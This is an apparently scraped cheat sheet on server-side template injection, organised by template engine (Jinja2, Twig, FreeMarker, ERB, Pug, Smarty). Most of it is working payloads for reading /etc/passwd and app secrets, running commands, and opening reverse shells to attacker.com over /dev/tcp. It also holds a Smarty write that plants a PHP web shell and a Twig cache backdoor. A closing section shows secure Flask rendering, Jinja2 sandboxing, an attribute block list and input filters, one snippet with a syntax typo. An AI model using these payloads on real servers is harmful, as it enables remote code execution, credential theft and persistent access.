# Server-Side Template Injection (SSTI)

python{{config}}
{{config.items()}}
{{self}}

# Reveals:
# - SECRET_KEY
# - Database credentials
# - Debug settings

python# Access file class and read files
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

# Alternative approach
{{get_flashed_messages.__globals__['current_app'].config}}

python# Method 1: Using os module
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Method 2: Using subprocess
{{request.application.__globals__.__builtins__.__import__('os').popen('whoami').read()}}

# Method 3: Reverse shell
{{config.__class__.__init__.__globals__['os'].popen('bash -i >& /dev/tcp/attacker.com/4444 0>&1').read()}}

php# Register system function as filter
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# Alternative
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}

php{{'/etc/passwd'|file_excerpt(1,30)}}

# Read configuration
{{dump(app)}}

php# Set malicious cache location
{{_self.env.setCache("ftp://attacker.com/exploit")}}
{{_self.env.loadTemplate("backdoor")}}

java<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("id") }

# Multiple commands
${ ex("cat /etc/passwd") }

java${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}

java<#assign classloader=product.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("whoami")}

ruby<%= system("whoami") %>
<%= `id` %>
<%= %x(uname -a) %>

ruby<%= File.open('/etc/passwd').read %>
<%= File.read('/etc/passwd') %>

ruby<%= IO.popen('bash -i >& /dev/tcp/attacker.com/4444 0>&1').read %>

javascript#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('whoami')}()}

javascript#{global.process.mainModule.require('fs').readFileSync('/etc/passwd', 'utf8')}

javascript#{global.process.mainModule.require('child_process').execSync('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"').toString()}

php{php}echo `id`;{/php}

{php}system('whoami');{/php}

php{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru(\$_GET['cmd']); ?>",self::clearConfig())}

# Then access: /index.php?cmd=whoami

php{file_get_contents('/etc/passwd')}

python# DANGEROUS: User input in template string
from flask import request, render_template_string

@app.route('/greet')
def greet():
    name = request.args.get('name')
    template = f"<h1>Hello {name}!</h1>"  # VULNERABLE!
    return render_template_string(template)

python# SECURE: Use template files and pass data as variables
from flask import request, render template

@app.route('/greet')
def greet():
    name = request.args.get('name')
    # Template is in separate file, user data passed as variable
    return render_template('greet.html', name=name)

html<!-- greet.html - Static template -->
<h1>Hello {{ name }}!</h1>
<!-- Jinja2 auto-escapes variables, preventing injection -->

pythonfrom jinja2.sandbox import SandboxedEnvironment

# Create sandboxed environment
env = SandboxedEnvironment()

# Render template safely
template = env.from_string('Hello {{ name }}!')
output = template.render(name=user_input)

pythonfrom jinja2.sandbox import SandboxedEnvironment

class CustomSandbox(SandboxedEnvironment):
    def is_safe_attribute(self, obj, attr, value):
        # Block dangerous attributes
        forbidden = ['__class__', '__mro__', '__subclasses__',
                     '__globals__', '__builtins__']
        if attr in forbidden:
            return False
        return super().is_safe_attribute(obj, attr, value)

env = CustomSandbox()

pythonimport re

def sanitize_template_input(user_input):
    # Only allow alphanumeric and basic punctuation
    if not re.match(r'^[a-zA-Z0-9\s\.,!?-]+$', user_input):
        raise ValueError("Invalid characters in input")

    # Block template syntax
    dangerous_patterns = [
        '{{', '}}', '{%', '%}', '${', '<#', '<%', '#{'
    ]

    for pattern in dangerous_patterns:
        if pattern in user_input:
            raise ValueError("Template syntax not allowed")

    return user_input

@app.route('/greet')
def greet():
    name = request.args.get('name')
    try:
        safe_name = sanitize_template_input(name)
        return render_template('greet.html', name=safe_name)
    except ValueError as e:
        return str(e), 400

javascript// Mustache doesn't execute code, only substitutes values
const Mustache = require('mustache');

const template = '<h1>Hello {{name}}!</h1>';
const data = { name: userInput };

// Safe: Mustache escapes and only substitutes
const output = Mustache.render(template, data);

html<!-- No logic, no code execution possible -->
<div>
  <h1>Hello {{name}}!</h1>
  <p>Email: {{email}}</p>
</div>